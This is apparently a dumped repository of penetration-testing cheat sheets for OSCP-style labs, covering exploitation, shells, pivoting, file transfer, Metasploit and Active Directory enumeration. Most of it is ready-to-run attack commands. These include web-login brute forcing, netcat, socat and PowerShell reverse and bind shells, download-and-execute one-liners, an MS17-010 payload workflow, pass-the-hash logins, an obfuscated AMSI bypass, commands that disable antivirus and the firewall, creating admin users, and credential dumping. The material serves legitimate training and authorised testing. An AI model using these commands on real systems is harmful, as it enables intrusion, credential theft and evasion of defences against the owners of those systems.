'/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=u8hdjDohYmqfI8o0z7Cev4b1u0jLmv9dNA9NS95wDsZeMYw6zBFeyhiLx1QuOsZ%2FXV%2Fo%2BrCdXSC4Y7%2FueaRnmboaQQ9KZQWLME84zysowmYTAW8Kea1%2Bp7phoEwMiICbLwPPteDEYl7z6nobm8x1Mb2hMDiTpDJhracgmTh%2BJwP1Rqqt&__EVENTVALIDATION=QJmkftZnDEcQIPsstxYKnQBDsulZLsB0kmrbMa4BPzAc%2FMEDChrOmztni5OWBx83r2xGNndCAgw6wJ%2F%2FoAzYtZEcyRWC%2FaPyUR5iWSO0V8%2FIodobow1OxiuoD9uZVnVO8tcQZr3NWYjFcOVxYg5WAWvPyezvfcBk2oxUdZwsutPATiKB&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:failed' 162 | ``` 163 | 164 | #### CEWL - Create a wordlist 165 | ``` 166 | cewl -m -w .txt 167 | ``` 168 | 169 | #### Identify hashes 170 | ``` 171 | hashid 172 | hash-identiefier 173 | ``` 174 | 175 | #### Combine /etc/passwd and /etc/shadow with unshadow 176 | ``` 177 | Unshadow > unshadow.txt 178 | ``` 179 | 180 | ## NFS Shares 181 | Portmapper and RPCBind run on TCP port 111 182 | 183 | #### Enumerations 184 | ``` 185 | rpcinfo 186 | sudo nmap -sSUC -p111 --script *nfs* 187 | ``` 188 | 189 | #### Mount shares 190 | ``` 191 | showmount -e 192 | sudo mount -o nolock :/ 193 | sudo mount -t cifs -o port= /// -o username=,password= /mnt/ 194 | ``` 195 | 196 | #### Open file with no permission to file 197 | If a file found which we want to access but don’t have permissions. Make a user with the same username and change the UUID, change to the user so we can access the file. 198 | ``` 199 | sudo adduser pwn 200 | sudo vim /etc/passwd 201 | ``` 202 | 203 | ## Shells 204 | - msfvenom https://netsec.ws/?p=331 205 | ### Listeners 206 | #### Netcat listener 207 | ``` 208 | sudo nc -nlvp 209 | ``` 210 | 211 | #### Socat listener 212 | ``` 213 | sudo socat -d -d TCP4-LISTEN: STDOUT 214 | ``` 215 | 216 | #### Meterpreter listener 217 | ``` 218 | msfconsole 219 | use multi/handler 220 | set payload 221 | run 222 | ``` 223 | 224 | #### Powercat listener 225 | ``` 226 | . ./powercat.ps1 227 | powercat -l -v -p 10000 228 | ``` 229 | 230 | ### Reverse shells 231 | - Generator tool https://github.com/mthbernardes/rsg 232 | #### Netcat 233 | ``` 234 | nc -nv -e /bin/bash 235 | ``` 236 | 237 | #### Socat 238 | ``` 239 | socat TCP4:: EXEC:/bin/bash 240 | ``` 241 | 242 | #### Powershell 243 | ``` 244 | powershell -c "$client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 245 | ``` 246 | 247 | ``` 248 | powershell.exe iex (iwr http:///Invoke-PowerShellTcp.ps1 -usebasicparsing);Invoke-PowerShellTcp -Reverse -IPAddress -Port 249 | ``` 250 | 251 | ``` 252 | powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress -Port 253 | ``` 254 | 255 | #### Powercat 256 | ``` 257 | powercat -c -p -e cmd.exe 258 | ``` 259 | 260 | ### Bind shells 261 | #### Netcat 262 | ``` 263 | nc -nlvp 264 | ``` 265 | 266 | #### Powershell 267 | ``` 268 | powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('',);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'P 269 | ``` 270 | 271 | #### Powercat 272 | ``` 273 | powercat -l -p -e cmd.exe 274 | ``` 275 | 276 | ### Spawn TTY Shells 277 | ``` 278 | python -c 'import pty; pty.spawn("/bin/sh")' 279 | ``` 280 | 281 | ``` 282 | echo os.system('/bin/bash') 283 | ``` 284 | 285 | ``` 286 | /bin/sh -i 287 | ``` 288 | 289 | ``` 290 | perl —e 'exec "/bin/sh";' 291 | ``` 292 | 293 | ``` 294 | perl: exec "/bin/sh"; 295 | ``` 296 | 297 | ``` 298 | ruby: exec "/bin/sh" 299 | ``` 300 | 301 | ### Fully interactive stable shell zsh 302 | ``` 303 | python3 -c 'import pty;pty.spawn("/bin/bash")' 304 | Ctrl + Z 305 | stty raw -echo; fg 306 | x2 307 | export TERM=xterm-256color 308 | ``` 309 | 310 | ### Fully interactive stable shell bash 311 | ``` 312 | python3 -c 'import pty;pty.spawn("/bin/bash")' 313 | Ctrl + Z 314 | stty raw -echo 315 | fg 316 | fg 317 | export TERM=xterm-256color 318 | stty rows 46 cols 140 319 | ``` 320 | 321 | #### Enable tab completion 322 | 1. In your active shell press ```bg``` to send your nc session to background 323 | 2. Enter ```stty raw -echo``` 324 | 3. Enter ```fg``` to bring your nc session to foreground 325 | 4. ```export TERM=xterm-256color`` 326 | 327 | ### MSFvenom payloads 328 | - https://github.com/frizb/MSF-Venom-Cheatsheet/blob/master/README.md 329 | 330 | # Misc 331 | #### MS17-010 332 | ``` 333 | git clone https://github.com/helviojunior/MS17-010 334 | msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -f exe -a x86 --platform windows -o ms17-010.exe 335 | nc -lnvp 336 | python send_and_execute.py ms17-010.exe 337 | ``` 338 | 339 | #### PHP Execute commands 340 | ``` 341 | 345 | ``` 346 | ``` 347 | 351 | ``` 352 | ``` 353 | 357 | ``` 358 | ``` 359 | 363 | ``` 364 | 365 | #### Path traversal cheatsheet files 366 | https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/ 367 | 368 | #### Pass the hash login 369 | First is a empty LM HASH, last one should work as well. 370 | ``` 371 | pth-winexe -U %aad3b435b51404eeaad3b435b51404ee: // cmd 372 | pth-winexe -U %: // cmd 373 | pth-winexe -U %: // cmd 374 | ``` 375 | 376 | #### Mysql raptor exploit but better 377 | https://www.exploit-db.com/exploits/46249 378 | 379 | #### Bash fully interactive shell 380 | ``` 381 | Start without tmux a /bin/bash shell 382 | nc -lvp 383 | python -c 'import pty;pty.spawn("/bin/bash")' 384 | Ctrl+Z 385 | stty raw -echo 386 | fg 387 | export TERM=screen 388 | ``` 389 | -------------------------------------------------------------------------------- /infrastructure/pivoting.md: -------------------------------------------------------------------------------- 1 | # Post Exploitation 2 | * [Pivoting](#Pivoting) 3 | * [Local Port forwarding](#Local-Port-forwarding) 4 | * [Remote port forwarding](#Remote-port-forwarding) 5 | * [Proxychains](#Proxychains) 6 | * [File Transfers](#File-transfers) 7 | * [Misc](#Misc) 8 | 9 | ## Pivoting 10 | ### Local Port forwarding 11 | #### Port forwarding rinetd 12 | ``` 13 | apt install rinetd 14 | cat /etc/rinetd.conf 15 | ``` 16 | 17 | #### SSH local port forward 18 | ``` 19 | ssh -N -L :127.0.0.1: @ 20 | ``` 21 | 22 | #### SSH port forwarding over hop 23 | ``` 24 | ssh -N -L ::: @ 25 | ``` 26 | 27 | #### SSH port forwards for shells back over hop 28 | - Execute on Jump host 29 | ``` 30 | ssh -N user@ -p 22 -L 0.0.0.0:4444:127.0.0.1:4444 31 | ``` 32 | 33 | ### Remote port forwarding 34 | #### SSH forward local port of target back to our kali 35 | ``` 36 | ssh -N -R ::127.0.0.1: @ 37 | ``` 38 | 39 | ### Proxychains 40 | - Prepend ```proxychains``` command before every command to send through the proxychain. 41 | - Change proxychains config to the correct port and protocol! ```vim /etc/proxychains.conf``` 42 | - Example: ```socks4 127.0.0.1 9000``` 43 | 44 | #### SSH 45 | ``` 46 | sudo ssh -N -D 127.0.0.1:9000 @ 47 | ``` 48 | 49 | #### Chisel 50 | - https://github.com/jpillora/chisel 51 | ``` 52 | /opt/chisel/chisel server -p 443 --socks5 --reverse 53 | ./chisel.exe client :443 R:socks 54 | ``` 55 | 56 | #### Rpivot 57 | - https://github.com/klsecservices/rpivot 58 | 59 | #### Port forwarding plink.exe 60 | ``` 61 | plink.exe @ -R :: 62 | ``` 63 | 64 | ### Remote port forward socat Windows 65 | - https://netcologne.dl.sourceforge.net/project/unix-utils/socat/1.7.3.2/socat-1.7.3.2-1-x86_64.zip 66 | - Download all dll's and executable on target 67 | - First hop is compromised machine 68 | ``` 69 | socat.exe tcp-listen:,fork tcp-connect:: 70 | ``` 71 | 72 | #### Then let it listen on our kali machine 73 | - so we can connect with our windows tool for example 74 | ``` 75 | socat tcp-l:,fork tcp:: 76 | ``` 77 | 78 | ### Remote port forward netsh 79 | ``` 80 | netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp 81 | ``` 82 | 83 | #### List forwards 84 | ``` 85 | netsh interface portproxy show v4tov4 86 | ``` 87 | 88 | #### Remove port forward 89 | ``` 90 | netsh interface portproxy delete v4tov4 listenaddress= listenport= 91 | ``` 92 | 93 | ### Proxychains 94 | #### Proxychains over hop 95 | ``` 96 | ssh -J @ -D 127.0.0.1:9000 @ 97 | ``` 98 | 99 | ### sshuttle 100 | ``` 101 | sshuttle -r @ --ssh-cmd 'ssh -i /home/user/Offshore/id_rsa_root_nix01' 102 | sshuttle -r @ 103 | ``` 104 | 105 | ## File transfers 106 | ### Download files 107 | #### Start webservers 108 | ``` 109 | sudo service apache2 start #files in /var/www/html 110 | sudo python3 -m http.server #files in current 111 | sudo python2 -m SimpleHTTPServer 112 | sudo php -S 0.0.0.0: 113 | sudo ruby -run -e httpd . -p 114 | sudo busybox httpd -f -p 115 | ``` 116 | 117 | #### Download file from webserver 118 | ``` 119 | wget http://:/ 120 | ``` 121 | 122 | #### SMB Server 123 | ``` 124 | sudo python3 /opt/oscp/impacket/examples/smbserver.py 125 | ``` 126 | 127 | #### Look for files in SMB 128 | ``` 129 | dir \\\ 130 | ``` 131 | 132 | #### Copy files from SMB 133 | ``` 134 | copy \\\\ 135 | ``` 136 | 137 | #### Copy all files 138 | ``` 139 | copy \\\\\*.* . 140 | ``` 141 | 142 | #### Copy files to SMB 143 | ``` 144 | copy \\\\ 145 | ``` 146 | 147 | #### Linux ftp 148 | ``` 149 | If installed use the ftp package 150 | ``` 151 | 152 | #### Windows ftp 153 | Use native program with the -s parameter to use a input file for the commands 154 | ``` 155 | echo open 192.168.119.124 21> ftp.txt 156 | echo USER offsec>> ftp.txt 157 | echo lab>> ftp.txt 158 | echo bin >> ftp.txt 159 | echo GET accesschk.exe >> ftp.txt 160 | echo GET winPEASany.exe >> ftp.txt 161 | echo quit >> ftp.txt 162 | 163 | ftp -v -n -s:ftp.txt 164 | ``` 165 | 166 | #### Setup FTP server 167 | ``` 168 | python -m pyftpdlib 21 169 | ``` 170 | 171 | #### Connect to ftp server 172 | ``` 173 | ftp 174 | ``` 175 | 176 | #### VBS download files for Windows XP 177 | Create vbs script 178 | ``` 179 | echo strUrl = WScript.Arguments.Item(0) > wget.vbs 180 | echo StrFile = WScript.Arguments.Item(1) >> wget.vbs 181 | echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs 182 | echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs 183 | echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs 184 | echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs 185 | echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs 186 | echo Err.Clear >> wget.vbs 187 | echo Set http = Nothing >> wget.vbs 188 | echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs 189 | echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs 190 | echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs 191 | echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs 192 | echo http.Open "GET", strURL, False >> wget.vbs 193 | echo http.Send >> wget.vbs 194 | echo varByteArray = http.ResponseBody >> wget.vbs 195 | echo Set http = Nothing >> wget.vbs 196 | echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs 197 | echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs 198 | echo strData = "" >> wget.vbs 199 | echo strBuffer = "" >> wget.vbs 200 | echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs 201 | echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs 202 | echo Next >> wget.vbs 203 | echo ts.Close >> wget.vbs 204 | ``` 205 | 206 | Run VBS script to download file 207 | ``` 208 | cscript wget.vbs http:/// 209 | ``` 210 | 211 | #### Powershell download file 212 | ``` 213 | powershell.exe (New-Object System.Net.WebClient).DownloadFile('http:///', '') 214 | ``` 215 | ``` 216 | powershell -c "Invoke-WebRequest -Uri 'http:///' -OutFile 'C:\Windows\Temp\'" 217 | ``` 218 | 219 | ### Upload files 220 | #### Netcat listener for file 221 | ``` 222 | nc -nlvp > 223 | ``` 224 | 225 | #### Netcat send file 226 | ``` 227 | nc -nv 228 | ``` 229 | 230 | #### Socat listener for file to send 231 | ``` 232 | sudo socat TCP4-LISTEN:,fork file: 233 | ``` 234 | 235 | #### Socat get file 236 | ``` 237 | socat TCP4:: file:,create 238 | ``` 239 | 240 | #### Powercat send file 241 | ``` 242 | powercat -c -p -i 243 | ``` 244 | 245 | #### Upload Windows data through HTTP Post request 246 | make /var/www/upload.php on kali 247 | ``` 248 | 253 | ``` 254 | 255 | Upload file in Windows client 256 | ``` 257 | powershell (New-Object System.Net.WebClient).UploadFile('http:///upload.php', '') 258 | ``` 259 | 260 | #### Upload through tftp (over udp) 261 | Install tftp on kali 262 | ``` 263 | sudo apt update && sudo apt install atftp 264 | sudo mkdir /tftp 265 | sudo chown nobody: /tftp 266 | sudo atftpd --daemon --port 69 /tftp 267 | ``` 268 | 269 | On windows client to send file 270 | ``` 271 | tftp -i put important.docx 272 | ``` 273 | 274 | #### Powercat send file 275 | ``` 276 | powercat -c -p -i 277 | ``` 278 | 279 | ## Misc 280 | #### PSExec 281 | Shell back to my machine with other user using netcat 282 | ``` 283 | PsExec.exe -u \ -p \\ nc.exe -e cmd.exe 284 | ``` 285 | 286 | #### Enable RDP and create user to login 287 | ``` 288 | #Enable RDP 289 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 290 | 291 | #Enable more then 1 user login 292 | REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f 293 | REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f 294 | 295 | #Add user to RDP group 296 | net user /add /Y 297 | net localgroup administrators /add 298 | net localgroup "Remote Desktop Users" /add 299 | 300 | #Disable firewall 301 | netsh advfirewall set allprofiles state off 302 | 303 | #RDP to machine 304 | xfreerdp /u: /p: /v: 305 | ``` 306 | -------------------------------------------------------------------------------- /infrastructure/readme.md: -------------------------------------------------------------------------------- 1 | # Infrastructure cheatsheet 2 | 3 | ## Index 4 | * [General](#General) 5 | * [Buffer overflow](bufferoverflow.md) 6 | * [Metasploit](metasploit.md) 7 | * [Enumeration](enumeration.md) 8 | * [Exploitation](exploitation.md) 9 | * [Privilege Escalation Windows](privesc_windows.md) 10 | * [Privilege Escalation Linux](privesc_linux.md) 11 | * [Post Exploitation](post_exploitation.md) 12 | 13 | # General 14 | ## Other great cheatsheets 15 | - https://github.com/CountablyInfinite/oscp_cheatsheet 16 | - https://github.com/frizb/MSF-Venom-Cheatsheet/blob/master/README.md 17 | 18 | #### Static binaries 19 | - https://github.com/andrew-d/static-binaries 20 | - https://github.com/ernw/static-toolbox/releases 21 | 22 | #### Python error 23 | When receiving the error “/usr/bin/env: ‘python\r’: No such file or directory when running an python exploit. 24 | 1. Open the python file in vim 25 | 2. Use the command ```:set ff=unix``` 26 | 3. Save the file. ```:wq``` 27 | 28 | #### SSH key files 29 | ssh key files needs to be permission 600 30 | ``` 31 | sudo chmod 600 32 | ``` 33 | 34 | #### SSH allow diffie helman 35 | ``` 36 | ssh @ -oKexAlgorithms=+diffie-hellman-group1-sha1 37 | ``` 38 | 39 | #### RDP commands 40 | ``` 41 | xfreerdp /d: /u: /v: +clipboard 42 | rdesktop -d -u -p 43 | ``` 44 | 45 | #### Autorecon 46 | https://github.com/DriftSec/AutoRecon-OSCP 47 | ``` 48 | sudo /home/user/.local/bin/autorecon -o autorecon 49 | ``` 50 | 51 | ## CMD 52 | #### Find string 53 | ``` 54 | | findstr /I “” 55 | ``` 56 | 57 | #### Ignore string 58 | ``` 59 | | findstr /v “” 60 | ``` 61 | 62 | ## Powershell 63 | #### Powershell flags 64 | - ```-nop```: (```-noprofile```) which instructs powershell not to load the powershell user profile. 65 | - ```-w hidden```: to avoid creating a window on the user’s desktop 66 | - ```-e```: (```-EncodedCommand```) use base64 encoding 67 | 68 | #### Start as admin 69 | ``` 70 | powershell.exe Start-Process cmd.exe -Verb runAs 71 | ``` 72 | 73 | #### AMSI Bypass 74 | ``` 75 | sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} ) 76 | ``` 77 | 78 | #### Disbale AV (Requires local admin) 79 | ``` 80 | Set-MpPreference -DisableRealtimeMonitoring $true 81 | ``` 82 | 83 | ### Powershell execution policy 84 | #### Get execution policy 85 | ``` 86 | Get-ExecutionPolicy -Scope CurrentUser 87 | ``` 88 | 89 | #### Bypass execution policy flag 90 | ``` 91 | -ExecutionPolicy Bypass 92 | ``` 93 | 94 | #### Disable execution policy 95 | ``` 96 | Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser 97 | ``` 98 | 99 | #### Impacket PSexec impacket 100 | If no LM Hash use an empty one: ```aad3b435b51404eeaad3b435b51404ee``` 101 | ``` 102 | python3 psexec.py -hashes : /@ 103 | python3 psexec.py /:@ 104 | ``` 105 | 106 | ## Compiling 107 | #### Compile on linux 108 | ``` 109 | gcc 110 | ``` 111 | 112 | #### Cross compile exploit code 113 | ``` 114 | sudo apt install mingw-64 115 | ``` 116 | 117 | #### Compile 32bit Windows 118 | ``` 119 | i686-w64-mingw32-gcc something.c -o something.exe 120 | ``` 121 | 122 | #### Compile 64bit Windows 123 | ``` 124 | x86_64-w64-mingw32-gcc something.c -o something.exe 125 | ``` 126 | 127 | #### Compile 32 bit Linux 128 | ``` 129 | gcc -Wall -o exploit X.c -Wl,--hash-style=both -m32 130 | ``` 131 | -------------------------------------------------------------------------------- /metasploit.md: -------------------------------------------------------------------------------- 1 | # MSFConsole 2 | #### Start metasploit 3 | - The correct way 4 | 5 | ``` 6 | systemctl start postgresql 7 | sudo msfdb init #only the first time! 8 | sudo msfconsole 9 | ``` 10 | 11 | #### Start listener 12 | ``` 13 | use multi/handler 14 | set payload windows/meterpreter/reverse_tcp 15 | ``` 16 | 17 | #### Background the sessions 18 | ``` 19 | Background 20 | ``` 21 | 22 | #### List sessions 23 | ``` 24 | sessions 25 | ``` 26 | 27 | #### Kill session 28 | ``` 29 | sessions -k 30 | ``` 31 | 32 | #### Enter sessions 33 | ``` 34 | sessions -i 35 | ``` 36 | 37 | #### Load kiwi module to dump creds and print help for kiwi 38 | ``` 39 | load kiwi 40 | help kiwi 41 | ``` 42 | 43 | #### Load PowerShell and drop into shell 44 | ``` 45 | load powershell 46 | powershell_shell 47 | ``` 48 | 49 | #### Metasploit imperssonate 50 | ``` 51 | Load incognito 52 | list_tokens -g 53 | impersonate_token "BUILTIN\Administrators" 54 | ``` 55 | 56 | #### Upgrade shell to meterpreter 57 | ``` 58 | use multi/manage/shell_to_meterpreter 59 | set SESSION 60 | set LHOST 61 | set LPORT 62 | run 63 | ``` 64 | 65 | ## Routing 66 | #### Set route 67 | ``` 68 | route add 69 | ``` 70 | 71 | #### Autoroute modulle 72 | ``` 73 | use multi/manage/autoroute 74 | ``` 75 | 76 | #### Run autoroute 77 | ``` 78 | run autoroute -s 10.100.11.0/24 79 | ``` 80 | 81 | #### Create port forward 82 | ``` 83 | Portfwd add -l -p -r 84 | ``` 85 | 86 | #### After setting routes use bind shells 87 | 88 | #### Proxychains 89 | ``` 90 | use server/socks_proxy 91 | set SRVHOST 127.0.0.1 92 | set SRVPORT 9000 93 | set VERSION 4a 94 | ``` 95 | 96 | ## Autorun script 97 | ### Set solo module as autorunscript 98 | ``` 99 | set AutoRunScript windows/gather/enum_logged_on_users 100 | set AutoRunScript post/windows/manage/migrate 101 | ``` 102 | 103 | #### Create a .rc file and use it like: 104 | ``` 105 | run post/windows/manage/migrate 106 | run post/windows/manage/killfw 107 | run post/windows/gather/checkvm 108 | ``` 109 | 110 | ``` 111 | set AutoRunScript multi_console_command -rc /root/autoruncommands.rc 112 | ``` 113 | 114 | ## Metasploit automation run automatic script 115 | #### Create a .rc file 116 | ``` 117 | set PAYLOAD windows/meterpreter/reverse_https 118 | set LHOST 10.11.0.4 119 | set LPORT 443 120 | set EnableStageEncoding true 121 | set StageEncoder x86/shikata_ga_nai 122 | set AutoRunScript post/windows/manage/migrate 123 | set ExitOnSession false 124 | exploit -j -z 125 | ``` 126 | 127 | #### Start metasploit with .rc file 128 | ``` 129 | sudo msfconsole -r setup.rc 130 | ``` 131 | -------------------------------------------------------------------------------- /python_dependancies.md: -------------------------------------------------------------------------------- 1 | # Best way to handle python dependancies 2 | ## Pipx 3 | #### Install pipx 4 | ``` 5 | python3 -m pip install pipx 6 | python3 -m pipx ensurepath 7 | ``` 8 | 9 | #### Install tools/packages with pipx 10 | ``` 11 | pipx install package 12 | ``` 13 | 14 | ## Virtual env 15 | #### Create virtual env 16 | ``` 17 | mkdir my_awesome_project 18 | cd my_awesome_project 19 | python3 -m venv .my_awesome_project_venv 20 | ``` 21 | 22 | #### Use virtual env 23 | ``` 24 | source .my_awesome_project_venv/bin/activate 25 | (.my_awesome_project_venv) # pip install requests 26 | ``` 27 | -------------------------------------------------------------------------------- /windows-ad/Domain-Enumeration.md: -------------------------------------------------------------------------------- 1 | # Domain Enumeration 2 | * [General](#General) 3 | * [Unauthenticated Enumeration](#Unauthenticated-Enumeration) 4 | * [LDAP Anonymous Bind](#LDAP-Anonymous-Bind) 5 | * [Authenticated Enumeration](#Authenticated-Enumeration) 6 | * [Powerview Domain](#Powerview-Domain) 7 | * [Powerview Users, groups and computers](#Powerview-users-groups-and-computers) 8 | * [Powerview Shares](#Powerview-shares) 9 | * [Powerview GPO](#Powerview-GPO) 10 | * [Powerview OU](#Powerview-OU) 11 | * [Powerview ACL](#Powerview-ACL) 12 | * [Powerview Domain Trust](#Powerview-Domain-Trust) 13 | * [Powerview Sessions](#Powerview-sessions) 14 | * [Bloodhound](#Bloodhound) 15 | * [Ldapsearch](#Ldapsearch) 16 | 17 | 18 | ## General 19 | #### Enumeration tools 20 | - PowerView https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 ```Get-DomainUser``` 21 | - SharpView https://github.com/tevora-threat/SharpView 22 | - DS Tools ```dsquery user "DC=,DC=local" -name * -scope subtree -limit 0 | dsget user -samid -fn -ln -display``` 23 | - PowerShell Active Directory module ```Get-ADUser -Filter * -Properties *``` 24 | - Windows Management Instrumentation (WMI) ```Get-WmiObject -Class win32_group -Filter "Domain=''" | Select Caption,Name``` 25 | - AD Service Interfaces (ADSI) ```([adsisearcher]"(&(objectClass=Computer))").FindAll() | select Path``` 26 | - https://github.com/yaap7/ldapsearch-ad 27 | 28 | #### LDAP Queries 29 | - RSAT Tools + LDAP queries 30 | - https://ldapwiki.com/wiki/Active%20Directory%20Computer%20Related%20LDAP%20Query 31 | - https://ldapwiki.com/wiki/Active%20Directory%20User%20Related%20Searches 32 | - https://ldapwiki.com/wiki/Active%20Directory%20Group%20Related%20Searches 33 | - https://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx 34 | 35 | ``` 36 | #Example 37 | Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' -Properties * 38 | ``` 39 | 40 | ## Unauthenticated Enumeration 41 | ### LDAP Anonymous Bind 42 | - Linux hosts running open-source versions of LDAP and Linux vCenter appliances are often configured to allow anonymous binds. 43 | 44 | #### Scan for ldap ports 45 | ``` 46 | sudo nmap -p 389,636 47 | ``` 48 | 49 | #### Check if connecting without credentials is allowed 50 | - Python 51 | ``` 52 | from ldap3 import * 53 | s = Server('',get_info = ALL) 54 | c = Connection(s, '', '') 55 | c.bind() 56 | True 57 | s.info 58 | ``` 59 | 60 | #### Confirm anonymous bind 61 | - https://github.com/ropnop/windapsearch 62 | ``` 63 | ldapsearch -h -p 389 -x -b "dc=,dc=local" 64 | 65 | python windapsearch.py --dc-ip 66 | ``` 67 | 68 | #### Get domain functional level 69 | ``` 70 | python3 windapsearch.py --dc-ip 10.129.1.207 -u "" --functionality 71 | ``` 72 | 73 | #### Get all domain users 74 | ``` 75 | python3 windapsearch.py --dc-ip 10.129.1.207 -u "" -U 76 | ``` 77 | 78 | #### Get all computers 79 | ``` 80 | python3 windapsearch.py --dc-ip 10.129.1.207 -u "" -C 81 | ``` 82 | 83 | ## Authenticated Enumeration 84 | ### Powerview Domain 85 | - https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon 86 | ``` 87 | . ./PowerView.ps1 88 | ``` 89 | 90 | #### Get current domain 91 | ``` 92 | Get-Domain 93 | ``` 94 | 95 | #### Get object of another domain 96 | ``` 97 | Get-Domain -Domain 98 | ``` 99 | 100 | #### Get Domain SID for the current domain 101 | ``` 102 | Get-DomainSID 103 | ``` 104 | 105 | #### Get the domain password policy 106 | ``` 107 | Get-DomainPolicy 108 | Get-DomainPolicyData 109 | (Get-DomainPolicy)."System Access" 110 | net accounts /domain 111 | ``` 112 | 113 | ### Powerview users groups and computers 114 | #### Get Information of domain controller 115 | ``` 116 | Get-DomainController 117 | Get-DomainController | select-object Name 118 | ``` 119 | 120 | #### Get information of users in the domain 121 | ``` 122 | Get-DomainUser 123 | Get-DomainUser -Username 124 | ``` 125 | 126 | #### Get list of all users 127 | ``` 128 | Get-DomainUser | select samaccountname 129 | ``` 130 | 131 | #### Get list of usernames, last logon and password last set 132 | ``` 133 | Get-DomainUser | select samaccountname, lastlogon, pwdlastset 134 | Get-DomainUser | select samaccountname, lastlogon, pwdlastset | Sort-Object -Property lastlogon 135 | ``` 136 | 137 | #### Get list of usernames and their groups 138 | ``` 139 | Get-DomainUser | select samaccountname, memberof 140 | ``` 141 | 142 | #### Get list of all properties for users in the current domain 143 | ``` 144 | Get-Userproperty -Properties pwdlastset 145 | ``` 146 | 147 | #### Get descripton field from the user 148 | ``` 149 | Find-UserField -SearchField Description -SearchTerm "built" 150 | Get-DomainUser | Select-Object samaccountname,description 151 | ``` 152 | 153 | #### Get computer information 154 | ``` 155 | Get-DomainComputer 156 | Get-DomainComputer -FullData 157 | Get-DomainComputer -Computername -FullData 158 | ``` 159 | 160 | #### Get computers with a specific Operating System "" 161 | ``` 162 | Get-DomainComputer -OperatingSystem "* 174 | ``` 175 | 176 | #### List all groups with `*admin*` in there name 177 | ``` 178 | Get-DomainGroup -GroupName *admin* 179 | ``` 180 | 181 | #### Get all the members of a group 182 | ``` 183 | Get-DomainGroupMember -Groupname "" -Recurse 184 | ``` 185 | 186 | #### Get the group membership of a user 187 | ``` 188 | Get-DomainGroup -Username 189 | ``` 190 | 191 | #### List all the local groups on a machine (needs admin privs on non dc machines) 192 | ``` 193 | Get-NetLocalGroup -Computername -ListGroups 194 | ``` 195 | 196 | #### Get Member of all the local groups on a machine (needs admin privs on non dc machines) 197 | ``` 198 | Get-NetLocalGroupMember -Computername -Recurse 199 | Get-NetLocalGroupMember -ComputerName 200 | ``` 201 | 202 | #### Get actively logged users on a computer (needs local admin privs) 203 | ``` 204 | Get-NetLoggedon -Computername 205 | ``` 206 | 207 | #### Get locally logged users on a computer (needs remote registry rights on the target) 208 | ``` 209 | Get-LoggedonLocal -Computername 210 | ``` 211 | 212 | #### Get the last logged users on a computer (needs admin rights and remote registary on the target) 213 | ``` 214 | Get-LastLoggedOn -ComputerName 215 | ``` 216 | 217 | ### Powerview shares 218 | #### Find shared on hosts in the current domain 219 | ``` 220 | Find-DomainShare -ComputerDomain -CheckShareAccess 221 | ``` 222 | 223 | #### Find sensitive files on computers in the domain 224 | ``` 225 | Find-InterestingDomainShareFile -Verbose 226 | ``` 227 | 228 | #### Get all fileservers of the domain 229 | ``` 230 | 